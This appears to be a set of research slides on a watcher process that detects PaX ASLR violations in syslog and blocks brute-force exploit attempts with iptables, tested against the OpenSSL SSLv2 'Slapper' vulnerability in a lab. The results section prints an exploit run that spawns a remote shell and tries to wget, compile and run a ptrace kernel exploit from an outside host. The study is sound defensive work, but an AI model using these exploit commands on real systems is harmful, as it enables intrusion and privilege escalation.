A failure to convert...

A return-to-libc overflow example casts doubt on these claims

mmap() randomization only introduces 16 bits of entropy in 32-bit architectures

This is sufficiently small to brute-force

A brute-force return-to-libc attack on Apache can be successful in 216 seconds [1]

What We Will See...

H.Shacham et al. have already shown claims of "guaranteed end of arbitrary code execution" aren't accurate [1,3], BUT...

Claims that such protection effectively buys little in the area of security[1] are also inaccurate

Implementation makes all the difference

These mechanisms can be implemented with a *simple* watcher process to adequately protect a system, despite claims to the contrary!

GRSECURITY

Combined effort with PaX ASLR [3], is implementation of choice

Also provides:

- Non-executable stack & heap controls, other randomizations (IP, TCP, etc.)
- Per-process & executable configuration
- Violation monitoring & alerting via syslog
- Limited automated response capabilities
  - Kill process under attack to prevent brute-force mmap() layout discovery

ASLR problems still exist [1,4]

The Approach

1. Identify an exploit with which to test
2. Build vulnerable target system
3. Build identical target system with PaX ASLR protections
4. Identify attack indicators
5. Build simple process to monitor & respond to attack on PaX ASLR
6. Determine effectiveness of response

The Exploit

OpenSSL SSLv2 Malformed Client Key Remote Buffer Overflow [5]

Same vuln. as “Slapper” worm; potential implementation of brute-force mentioned in [1].

PoC code; Not ret2libc, but will suffice for our purposes:

- W^X will completely prevent this attack (tested)
- Not testing effectiveness of attack, but effectiveness & timing of response.
- Attack indicators will be the same

Attack effectiveness tested against unprotected system

The Target System

Fedora Core 1, Linux kernel 2.4.32 with and without grsecurity kernel patch

Implemented in VMWare virtual network

- Snapshots allowed for easy fall-back for multiple simulations from identical environments

Apache 1.3.20, mod_ssl 2.8.1, openSSL 0.9.6

Associated grsecurity kernel patch for protected system

- One system, two kernels: one protected, one not

Attack Indicators

Conveniently for us, it's ALL recorded in syslog:

```
Apr 28 09:38:56 fc1-grsec kernel: PAX: From 172.16.145.1: execution attempt in: <anonymous
mapping>, 0816f000-08207000 00000000

Apr 28 09:38:56 fc1-grsec kernel: PAX: terminating task: /usr/local/apache/bin/
httpd(httpd):24806, uid/euid: 99/99, PC: 081d65d0, SP: 5a0d4d3c

Apr 28 09:38:56 fc1-grsec kernel: PAX: bytes at PC: eb 0a 90 90 90 90 90 90 d0 e8 16 08 31
db 89 e7 8d 77 10 89

Apr 28 09:38:56 fc1-grsec kernel: PAX: bytes at SP-4:
00000002 080da2c7 081de688 00000000 00001078 00000000 081d0310 0816e6b8 081d0310 080c6e83
081de688 00000000 000000c8 080c6ddf 00000000 0816e6b8
 081d0310 080c49a6 081d0310 081d0310 081d03e8
```

Attack Response

Identify when PaX detects a remote execution attempt in invalid memory block

Block associated IP address

Don't re-invent wheel: iptables

This is a simple real-time parse of system log, making system calls when necessary

Trivially implemented in Perl as PoC (58 lines)

Results

Attack against vulnerable system succeeds

```
[cloppemj@files bid_5363-apache_mod_ssl]$ ./OpenFuckV2 0x45 fc1

Establishing SSL connection
cipher: 0x8164308   ciphers: 0x83dbc68
Ready to send shellcode
Spawning shell...
bash: no job control in this shell
bash-2.05b$ bash-2.05b$ --10:29:20--  http://packetstormsecurity.nl/0304-
exploits/ptrace-kmod.c
           => `ptrace-kmod.c'
Resolving packetstormsecurity.nl... failed: Host not found.
gcc: ptrace-kmod.c: No such file or directory
gcc: no input files
rm: cannot remove `ptrace-kmod.c': No such file or directory
bash: ./p: No such file or directory
bash-2.05b$ bash-2.05b$ whoami
nobody
bash-2.05b$ hostname
fc1-grsec
bash-2.05b$
```

Attack against protected system fails, and all further communication blocked

```
[cloppemj@files bid_5363-apache_mod_ssl]$ ./OpenFuckV2 0x45 fc1

Establishing SSL connection
cipher: 0x8164308   ciphers: 0x81d5f40
Ready to send shellcode
Spawning shell...
Good Bye!
[cloppemj@files bid_5363-apache_mod_ssl]$ ping fc1
PING vm-128 (172.16.145.128) 56(84) bytes of data.
From vm-128 (172.16.145.128) icmp_seq=0 Destination Port Unreachable
From vm-128 (172.16.145.128) icmp_seq=1 Destination Port Unreachable
```

Watcher Process Effectiveness

Recall: in 216 seconds, it's too late [1]

Massively parallel, coordinated attack could reduce this time significantly, possibly iterate through enough offsets to exploit

How quickly is response implemented?

In 10 identical tests, the time between first packet of exploit and packet rejects from block

Mean: 540.7665 ms

Std. Dev.: 220.2321 ms

What does this mean?

How much of the address space can be brute-forced in 0.540s, worst case, over a T-1 link (1.544Mb)?

Assume processing time of exploit by target is negligible

Assume negligible latency

Assume infinite listening processes

*Exploits = Exploit Bytes (exploit/bytes) * Bandwidth (bytes/sec) * Time Available (s)*
*= 1/6158 (incl. all packet overhead, both directions) * 202375.168 * 0.54*
= 17

Even when LAN speeds are considered (1145 exploits), this is a miniscule fraction of the 2^16 possible addresses that need to be tried

Conclusions

Address layout randomization is not a silver bullet, as claimed [3]

Watcher processes can be effective in addressing problems of the technology, despite claims to the contrary [1]

Even simple implementation nearly eliminates the ability to discover memory offsets remotely via brute-force, blocking attacks in a half second

References

[1] H.Shacham et al. *On the effectiveness of address-space randomization*. Proceedings of the 11th ACM conference on Computer and communications security, Washington DC, 2004.

[2] The PaX Team, Documentation for the PaX Project, http://pax.grsecurity.net/docs/

[3] grsecurity, http://www.grsecurity.net/

[4] Tyler Durden. Bypassing PaX ASLR protection. *Phrack Magazine*, 59(9). July, 2002. http://www.phrack.org/show.php?p=59&a=9.

[5] John McDonald et al. Bugtraq mailing list. http://www.securityfocus.com/bid/5363. July, 2002.